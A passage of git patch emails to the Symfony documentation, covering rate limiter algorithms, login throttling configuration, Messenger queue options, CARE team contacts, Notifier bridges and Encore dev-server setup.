+it can overload the server at the window edges. In the previous example,
+there are 6 accepted requests between 11:00 and 12:00.
+
+This is more significant with bigger limits. For instance, with 5,000 requests
+per hour, a user could make the 4,999 requests in the last minute of some
+hour and another 5,000 requests during the first minute of the next hour,
+making 9,999 requests in total in two minutes and possibly overloading the
+server. These periods of excessive usage are called "bursts".
 
 Sliding Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The sliding window algorithm is an alternative to the fixed window algorithm
-designed to reduce bursts. To do that, the rate limit is calculated based on
-the current window and the previous window.
+designed to reduce bursts. This is the same example as above, but then
+using a 1 hour window that slides over the timeline:
+
+.. raw:: html
+
+    <object data="../_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
+
+As you can see, this removes the edges of the window and would prevent the
+6th request at 11:45.
+
+To achieve this, the rate limit is approximated based on the current window and
+the previous window.
 
 For example: the limit is 5,000 requests per hour; a user made 4,000 requests
 the previous hour and 500 requests this hour. 15 minutes in to the current hour
@@ -66,6 +88,18 @@ continuously updating budget of resource usage. It roughly works like this:
 * If the bucket still contains tokens, the event is allowed; otherwise, it's denied;
 * If the bucket is at full capacity, new tokens are discarded.
 
+The below diagram shows a token bucket of size 4 that is filled with a rate
+of 1 token per 15 minutes:
+
+.. raw:: html
+
+    <object data="../_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
+
+This algorithm handles more complex back-off algorithm to manage bursts.
+For instance, it can allow a user to try a password 5 times and then only
+allow 1 every 15 minutes (unless the user waits 75 minutes and they will be
+allowed 5 tries again).
+
 Installation
 ------------
 

From dab721b1c22f3d6dbdc0bcdaed9252fa8fcfa450 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 29 Jan 2021 19:33:12 +0100
Subject: [PATCH 0442/5766] [Console] Update comments
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The info() method was introduced in Symfony 5.2. I updated comments that were probably copied from the success() method example.
---
 console/style.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console/style.rst b/console/style.rst
index a8cdad20004..66db35011b1 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -331,12 +331,12 @@ Result Methods
     It's meant to be used once to display the final result of executing the given
     command, without showing the result as a successful or failed one::
 
-        // use simple strings for short success messages
+        // use simple strings for short info messages
         $io->info('Lorem ipsum dolor sit amet');
 
         // ...
 
-        // consider using arrays when displaying long success messages
+        // consider using arrays when displaying long info messages
         $io->info([
             'Lorem ipsum dolor sit amet',
             'Consectetur adipiscing elit',

From 5c64519c3e3e75abfa37fed52626f6a6d2c492e9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 30 Jan 2021 15:56:52 +0100
Subject: [PATCH 0443/5766] Fixed image path

---
 rate_limiter.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 1d54faba331..4b6fc27d4ab 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -38,7 +38,7 @@ squares).
 
 .. raw:: html
 
-    <object data="../_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
 it can overload the server at the window edges. In the previous example,
@@ -59,7 +59,7 @@ using a 1 hour window that slides over the timeline:
 
 .. raw:: html
 
-    <object data="../_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
 
 As you can see, this removes the edges of the window and would prevent the
 6th request at 11:45.
@@ -93,7 +93,7 @@ of 1 token per 15 minutes:
 
 .. raw:: html
 
-    <object data="../_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
 
 This algorithm handles more complex back-off algorithm to manage bursts.
 For instance, it can allow a user to try a password 5 times and then only

From 78e5a5dc084f50ffad3a928798923d70f2693a18 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sun, 31 Jan 2021 13:59:10 +0100
Subject: [PATCH 0444/5766] [Validator] Use seealso instead of tip for File

In other constraints when there is a suggestion to use another constraint:
https://symfony.com/doc/4.4/reference/constraints/Unique.html
https://symfony.com/doc/4.4/reference/constraints/UniqueEntity.html
https://symfony.com/doc/4.4/reference/constraints/Collection.html
---
 reference/constraints/File.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 8c77fb008cb..a865349f913 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -11,7 +11,7 @@ Validates that a value is a valid "file", which can be one of the following:
 This constraint is commonly used in forms with the :doc:`FileType </reference/forms/types/file>`
 form field.
 
-.. tip::
+.. seealso::
 
     If the file you're validating is an image, try the :doc:`Image </reference/constraints/Image>`
     constraint.

From 891f771ca9bb5356ca4aea8a4a84b69a77124fd3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Dan=20Michael=20O=2E=20Hegg=C3=B8?=
 <Dan.Michael.Heggo@bibsent.no>
Date: Sun, 31 Jan 2021 17:43:45 +0100
Subject: [PATCH 0445/5766] [http_client] Fix default headers

---
 http_client.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 91122c00961..c7f31ec40f6 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -511,9 +511,10 @@ requests and the specific headers for each request:
 
         # config/packages/framework.yaml
         framework:
-            http_client:
-                headers:
-                    'User-Agent': 'My Fancy App'
+            default_options:
+                http_client:
+                    headers:
+                        'User-Agent': 'My Fancy App'
 
     .. code-block:: xml
 
@@ -528,7 +529,9 @@ requests and the specific headers for each request:
 
             <framework:config>
                 <framework:http-client>
-                    <framework:header name="User-Agent">My Fancy App</framework:header>
+                    <framework:default-options>
+                        <framework:header name="User-Agent">My Fancy App</framework:header>
+                    </framework:default-options>
                 </framework-http-client>
             </framework:config>
         </container>
@@ -538,8 +541,10 @@ requests and the specific headers for each request:
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
             'http_client' => [
-                'headers' => [
-                    'User-Agent' => 'My Fancy App',
+                'default_options' => [
+                    'headers' => [
+                        'User-Agent' => 'My Fancy App',
+                    ],
                 ],
             ],
         ]);

From 141a7234193c1887cec9aff680c8dce0bc455a46 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 21 Jan 2021 12:20:48 +0100
Subject: [PATCH 0446/5766] Update care team members

---
 contributing/code_of_conduct/care_team.rst | 27 ++++++++++++++++++----
 1 file changed, 23 insertions(+), 4 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index 8f32d5befd1..f0120fe7115 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -23,17 +23,36 @@ Here are all the members of the CARE team (in alphabetic order). You can contact
 any of them directly using the contact details below or you can also contact all
 of them at once by emailing **care@symfony.com**:
 
-* **Emilie Lorenzo**
+* **Timo Bakx**
 
-  * *E-mail*: emilie.lorenzo [at] symfony.com
-  * *Twitter*: `@EmilieLorenzo <https://twitter.com/EmilieLorenzo>`_
-  * *SymfonyConnect*: `emilielorenzo <https://connect.symfony.com/profile/emilielorenzo>`_
+  * *E-mail*: timobakx [at] gmail.com
+  * *Twitter*: `@TimoBakx <https://twitter.com/TimoBakx>`_
+  * *SymfonyConnect*: `timobakx <https://connect.symfony.com/profile/timobakx>`_
+  * *SymfonySlack*: `@Timo Bakx <https://symfony-devs.slack.com/team/U3FQ2GVJA>`_
+
+* **Zan Baldwin**
+
+  * *E-mail*: hello [at] zanbaldwin.com
+  * *Twitter*: `@ZanBaldwin <https://twitter.com/ZanBaldwin>`_
+  * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
+
+* **Valentine Boineau**
+
+  * *E-mail*: valentine.boineau [at] gmail.com
+  * *Twitter*: `@BoineauV <https://twitter.com/BoineauV>`_
+
+* **Magali Milbergue**
+
+  * *E-mail*: magali.milbergue [at] gmail.com
+  * *Twitter*: `@magalimilbergue <https://twitter.com/magalimilbergue>`_
+  * *SymfonyConnect*: `magali_milbergue <https://connect.symfony.com/profile/magali_milbergue>`_
 
 * **Tobias Nyholm**
 
   * *E-mail*: tobias.nyholm [at] gmail.com
   * *Twitter*: `@tobiasnyholm <https://twitter.com/tobiasnyholm>`_
   * *SymfonyConnect*: `tobias <https://connect.symfony.com/profile/tobias>`_
+  * *SymfonySlack*: `@Tobias Nyholm <https://symfony-devs.slack.com/team/U3A9CNEDB>`_
 
 About the CARE Team
 -------------------

From 79a2112445af415940e317284b59572b3bad6e18 Mon Sep 17 00:00:00 2001
From: Albert Casademont <albertcasademont@gmail.com>
Date: Mon, 1 Feb 2021 17:24:47 +0100
Subject: [PATCH 0447/5766] Docs for the new SYMFONY_PHPUNIT_REQUIRE env
 variable

Code PR: https://github.com/symfony/symfony/pull/40059
---
 components/phpunit_bridge.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index dedb70c20d3..871b7035f9d 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -930,6 +930,18 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     then set the ``SYMFONY_PHPUNIT_REMOVE`` env var to ``symfony/yaml``.
 
     It's also possible to set this env var in the ``phpunit.xml.dist`` file.
+    
+.. tip::
+
+    It is also possible to require additional packages that will be installed along
+    the rest of the needed PHPUnit packages using the ``SYMFONY_PHPUNIT_REQUIRE``
+    env variable. This is specially useful for installing PHPUnit plugins without
+    having to add them to your main ``composer.json`` file.
+
+.. versionadded:: 5.3
+
+    The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
+    Symfony 5.3.
 
 Code Coverage Listener
 ----------------------

From f1c43df622f32546b1d9f17ba97a32689438b8b0 Mon Sep 17 00:00:00 2001
From: Zan Baldwin <hello@zanbaldwin.com>
Date: Mon, 1 Feb 2021 20:38:36 +0100
Subject: [PATCH 0448/5766] Add Slack Link to CARE Team Member

---
 contributing/code_of_conduct/care_team.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index f0120fe7115..d740fcfbba4 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -35,6 +35,7 @@ of them at once by emailing **care@symfony.com**:
   * *E-mail*: hello [at] zanbaldwin.com
   * *Twitter*: `@ZanBaldwin <https://twitter.com/ZanBaldwin>`_
   * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
+  * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
 
 * **Valentine Boineau**
 

From 1bb5c085463299c25a10c1007e4d5a5bc443b7d6 Mon Sep 17 00:00:00 2001
From: Dale Nash <dalenashdn@gmail.com>
Date: Tue, 2 Feb 2021 10:30:23 +0000
Subject: [PATCH 0449/5766] Update conventions page to show correct function

---
 contributing/code/conventions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index d2325f5fc8b..18ea420b841 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -167,7 +167,7 @@ A deprecation must also be triggered to help people with the migration
 
     trigger_deprecation('symfony/package-name', '5.1', 'The "%s" class is deprecated, use "%s" instead.', Deprecated::class, Replacement::class);
 
-When deprecating a whole class the ``trigger_error()`` call should be placed
+When deprecating a whole class the ``trigger_deprecation()`` call should be placed
 after the use declarations, like in this example from `ServiceRouterLoader`_::
 
     namespace Symfony\Component\Routing\Loader\DependencyInjection;

From c9f807259fc0f00ff6634e64bdd0eb7c859b0de2 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 2 Feb 2021 23:10:05 +0100
Subject: [PATCH 0450/5766] [Messenger] Replace comma with full stop

---
 components/messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 157d3f79d6a..0772293eab1 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -56,7 +56,7 @@ Concepts
    which means they can tweak the envelope, by adding stamps to it or even
    replacing it, as well as interrupt the middleware chain. Middleware are called
    both when a message is originally dispatched and again later when a message
-   is received from a transport,
+   is received from a transport.
 
 **Envelope**:
    Messenger specific concept, it gives full flexibility inside the message bus,

From edb9b438bf2ae9ed91ddffff914d1be5d11706b3 Mon Sep 17 00:00:00 2001
From: James Hemery <james@yieldstudio.fr>
Date: Sat, 23 Jan 2021 01:47:38 +0100
Subject: [PATCH 0451/5766] [Notifier] Add SpotHit bridge

---
 notifier.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7231080d47e..0e55317c31f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -70,6 +70,7 @@ OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLI
 Sendinblue  ``symfony/sendinblue-notifier``   ``sendinblue://API_KEY@default?sender=PHONE``
 Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 Smsapi      ``symfony/smsapi-notifier``       ``smsapi://TOKEN@default?from=FROM``
+SpotHit     ``symfony/spothit-notifier``      ``spothit://TOKEN@default?from=FROM``
 Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
 ==========  ================================  ====================================================
 
@@ -83,8 +84,8 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms and Clickatell integrations were
-    introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell and SpotHit integrations
+    were introduced in Symfony 5.3.
 
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 77007c183940332c255b1a066d1058a960439994 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Wed, 3 Feb 2021 09:11:30 +0100
Subject: [PATCH 0452/5766] message consume command --queue parameter

Feature introduced in https://github.com/symfony/symfony/pull/38973
---
 messenger.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index edd43cd7881..32fab4e0a41 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -587,6 +587,29 @@ to handle messages in a priority order:
 The worker will always first look for messages waiting on ``async_priority_high``. If
 there are none, *then* it will consume messages from ``async_priority_low``.
 
+.. _messenger-limit-queues:
+
+Limit Consuming to Specific Queues
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some transports (notably AMQP) have the concept of exchanges and queues. A Symfony
+transport is always bound to an exchange. By default, the worker consumes from all
+queues attached to the exchange of the specified transport. However, there are use
+cases to want a worker to only consume from specific queues.
+
+You can limit the worker to only process messages from specific queues:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume my_transport --queues=fasttrack
+
+To allow using the ``queues`` option, the receiver must implement the
+:class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
+
+.. versionadded:: 5.3
+
+    Limiting the worker to specific queues was introduced in Symfony 5.3.
+
 .. _messenger-supervisor:
 
 Supervisor Configuration
@@ -950,6 +973,11 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
 
+.. note::
+
+    With Symfony 5.3 or newer, you can limit the consumer of an AMQP transport to only
+    process messages from some queues of an exchange. See :ref:`messenger-limit-queues`.
+
 The transport has a number of other options, including ways to configure
 the exchange, queues binding keys and more. See the documentation on
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\Connection`.

From 17071880c4968fba91eaff73b7c73e52a6f49c9a Mon Sep 17 00:00:00 2001
From: wickedOne <wicliff.wolda@gmail.com>
Date: Thu, 4 Feb 2021 09:18:34 +0100
Subject: [PATCH 0453/5766] role_names instead of roles

corrected wrong attribute name

relates to symfony/symfony#40087
---
 security/expressions.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 2013d6656d7..6ea9d56a5d6 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -42,6 +42,10 @@ Inside the expression, you have access to a number of variables:
     The array of roles the user has. This array includes any roles granted
     indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
+``role_names``
+    A string representation of the roles the user has. This array includes any roles granted
+    indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
+    does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``object``
     The object (if any) that's passed as the second argument to ``isGranted()``.
 ``token``

From 88a52da1bf59fc71c5ac8b7366549d5c9862f5f2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 2 Feb 2021 17:18:40 +0100
Subject: [PATCH 0454/5766] [RateLimiter][Security] Document login throttling
 and clarify DoS protection

---
 rate_limiter.rst |  11 +++++
 security.rst     | 109 +++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 120 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4b6fc27d4ab..99617f20d59 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -16,6 +16,14 @@ Symfony uses these rate limiters in built-in features like "login throttling",
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
+.. caution::
+
+    By definition, the Symfony rate limiters require Symfony to be booted
+    in a PHP process. This makes them not useful to protect against `DoS attacks`_.
+    Such protections must consume the least resources possible. Consider
+    using `Apache mod_ratelimit`_, `NGINX rate limiting`_ or proxies (like
+    AWS or Cloudflare) to prevent your server from being overwhelmed.
+
 .. _rate-limiter-policies:
 
 Rate Limiting Policies
@@ -314,5 +322,8 @@ Symfony application. If you prefer to change that, use the ``lock_factory`` and
                 # the value is the name of any lock defined in your application
                 lock_factory: 'app.rate_limiter_lock'
 
+.. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
+.. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
+.. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
diff --git a/security.rst b/security.rst
index de13f7db4f6..3b9341a07d6 100644
--- a/security.rst
+++ b/security.rst
@@ -469,6 +469,113 @@ here are a few common use-cases:
 * :doc:`/security/guard_authentication` – see this for the most detailed
   description of authenticators and how they work
 
+Limiting Login Attempts
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    Login throttling was introduced in Symfony 5.2.
+
+Symfony provides basic protection against `brute force login attacks`_ if
+you're using the :doc:`experimental authenticators </security/experimental_authenticators>`.
+You must enable this using the ``login_throttling`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            firewalls:
+                # ...
+
+                main:
+                    # ...
+
+                    # by default, the feature allows 5 login attempts per minute
+                    login_throttling: null
+
+                    # configure the maximum login attempts (per minute)
+                    login_throttling:
+                        max_attempts: 3
+
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.my_login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- by default, the feature allows 5 login attempts per minute -->
+                    <login-throttling/>
+
+                    <!-- configure the maximum login attempts (per minute) -->
+                    <login-throttling max-attempts="3"/>
+
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.my_login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'enable_authenticator_manager' => true,
+
+            'firewalls' => [
+                // ...
+
+                'main' => [
+                    // by default, the feature allows 5 login attempts per minute
+                    'login_throttling' => null,
+
+                    // configure the maximum login attempts (per minute)
+                    'login_throttling' => [
+                        'max_attempts' => 3,
+                    ],
+
+                    // use a custom rate limiter via its service ID
+                    'login_throttling' => [
+                        'limiter' => 'app.my_login_rate_limiter',
+                    ],
+                ],
+            ],
+        ]);
+
+By default, login attempts are limited on ``max_attempts`` (default: 5)
+failed requests for ``IP address + username`` and ``5 * max_attempts``
+failed requests for ``IP address``. The second limit protects against an
+attacker using multiple usernames from bypassing the first limit, without
+distrupting normal users on big networks (such as offices).
+
+If you need a more complex limiting algorithm, create a class that implements
+:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
+and set the ``limiter`` option to its service ID.
+
+.. tip::
+
+    Limiting the failed login attempts is only one basic protection against
+    brute force attacks. The `OWASP Brute Force Attacks`_ guidelines mention
+    several other protections that you should consider depending on the
+    level of protection required.
+
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:
 
@@ -1257,5 +1364,7 @@ Authorization (Denying Access)
 
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
+.. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
+.. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`Symfony Security screencast series`: https://symfonycasts.com/screencast/symfony-security
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html

From a85f968a3d22fae4657ef89f7cabbbea4043969c Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 28 Jan 2021 11:27:20 -0500
Subject: [PATCH 0455/5766] updating Encore docs for 1.0

---
 .doctor-rst.yaml                    |   1 +
 _build/redirection_map              |   1 +
 frontend.rst                        |   1 -
 frontend/encore/advanced-config.rst |   8 +-
 frontend/encore/copy-files.rst      |   2 +-
 frontend/encore/dev-server.rst      | 109 ++++++++++++++--------------
 frontend/encore/installation.rst    |   2 +-
 frontend/encore/shared-entry.rst    |  42 -----------
 frontend/encore/simple-example.rst  |  48 ++----------
 frontend/encore/split-chunks.rst    |  13 ++--
 frontend/encore/url-loader.rst      |  47 ++++--------
 frontend/encore/vuejs.rst           |   4 +-
 12 files changed, 92 insertions(+), 186 deletions(-)
 delete mode 100644 frontend/encore/shared-entry.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index a568b014eab..61b56614a29 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,6 +88,7 @@ whitelist:
         - '.. versionadded:: 1.3' # MakerBundle
         - '.. versionadded:: 1.8' # MakerBundle
         - '.. versionadded:: 1.6' # Flex in setup/upgrade_minor.rst
+        - '.. versionadded:: 1.0.0' # Encore
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
diff --git a/_build/redirection_map b/_build/redirection_map
index de584707346..402057bdd18 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -511,3 +511,4 @@
 /messenger/message-recorder messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
+/frontend/encore/shared-entry /frontend/encore/split-chunks
diff --git a/frontend.rst b/frontend.rst
index 47d3111dd33..b95f0aa216e 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -61,7 +61,6 @@ Optimizing
 * :doc:`Using a CDN </frontend/encore/cdn>`
 * :doc:`/frontend/encore/code-splitting`
 * :doc:`/frontend/encore/split-chunks`
-* :doc:`Creating a "Shared" entry for re-used modules </frontend/encore/shared-entry>`
 * :doc:`/frontend/encore/url-loader`
 
 Guides
diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 86bdb812b94..75abf94f481 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -12,12 +12,12 @@ To do that, modify the config after fetching it from Encore:
 
     // webpack.config.js
 
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     // ... all Encore config here
 
     // fetch the config, then modify it!
-    var config = Encore.getWebpackConfig();
+    const config = Encore.getWebpackConfig();
 
     // add an extension
     config.resolve.extensions.push('json');
@@ -208,8 +208,8 @@ The following code is equivalent:
 The following loaders are configurable with ``configureLoaderRule()``:
   - ``javascript`` (alias ``js``)
   - ``css``
-  - ``images``
-  - ``fonts``
+  - ``images`` (but use ``configureImageRule()`` instead)
+  - ``fonts`` (but use ``configureFontRule()`` instead)
   - ``sass`` (alias ``scss``)
   - ``less``
   - ``stylus``
diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index 7ea5a541622..28e8f26d80a 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -16,7 +16,7 @@ To reference an image tag from inside a JavaScript file, *require* the file:
 
     // returns the final, public path to this file
     // path is relative to this file - e.g. assets/images/logo.png
-    const logoPath = require('../images/logo.png');
+    import logoPath from '../images/logo.png';
 
     let html = `<img src="${logoPath}" alt="ACME logo">`;
 
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 4d0904125cb..b5683109092 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -8,31 +8,16 @@ While developing, instead of using ``yarn encore dev --watch``, you can use the
 
     $ yarn encore dev-server
 
-This builds and serves the front-end assets from a new server. This server runs at 
-``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``. 
-This server does not actually write the files to disk; instead it servers them from memory, 
+This builds and serves the front-end assets from a new server. This server runs at
+``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
+This server does not actually write the files to disk; instead it servers them from memory,
 allowing for hot module reloading.
 
-As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the 
-``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are 
-:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way), 
+As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the
+``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are
+:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way),
 you're done: the paths in your templates will automatically point to the dev server.
 
-Enabling HTTPS using the Symfony Web Server
--------------------------------------------
-
-If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS,
-you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
-server SSL certificate:
-
-.. code-block:: terminal
-
-    # Unix-based systems
-    $ yarn dev-server --https --pfx=$HOME/.symfony/certs/default.p12
-
-    # Windows
-    $ encore dev-server --https --pfx=%UserProfile%\.symfony\certs\default.p12
-
 dev-server Options
 ------------------
 
@@ -66,53 +51,65 @@ method in your ``webpack.config.js`` file:
 
     The ``Encore.configureDevServerOptions()`` method was introduced in Encore 0.28.4.
 
-Hot Module Replacement HMR
---------------------------
+Enabling HTTPS using the Symfony Web Server
+-------------------------------------------
+
+If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS,
+you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
+server SSL certificate:
+
+.. code-block:: javascript
 
-Encore *does* support `HMR`_ for :doc:`Vue.js </frontend/encore/vuejs>`, but
-does *not* work for styles anywhere at this time. To activate it, pass the ``--hot``
-option:
+    // webpack.config.js
+    // ...
+    const path = require('path');
+
+    Encore
+        // ...
+
+        .configureDevServerOptions(options => {
+            options.https = {
+                pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+            }
+        })
+
+Then make sure you run the ``dev-server`` with the ``--https`` option:
 
 .. code-block:: terminal
 
-    $ ./node_modules/.bin/encore dev-server --hot
+    $ yarn encore dev-server --https
 
-If you want to use SSL with self-signed certificates, add the ``--https``,
-``--pfx=``, and  ``--allowed-hosts`` options to the ``dev-server`` command in
-the ``package.json`` file:
+CORS Issues
+-----------
 
-.. code-block:: diff
+If you experience issues related to CORS (Cross Origin Resource Sharing), set
+the ``firewall`` option:
 
-    {
-        ...
-        "scripts": {
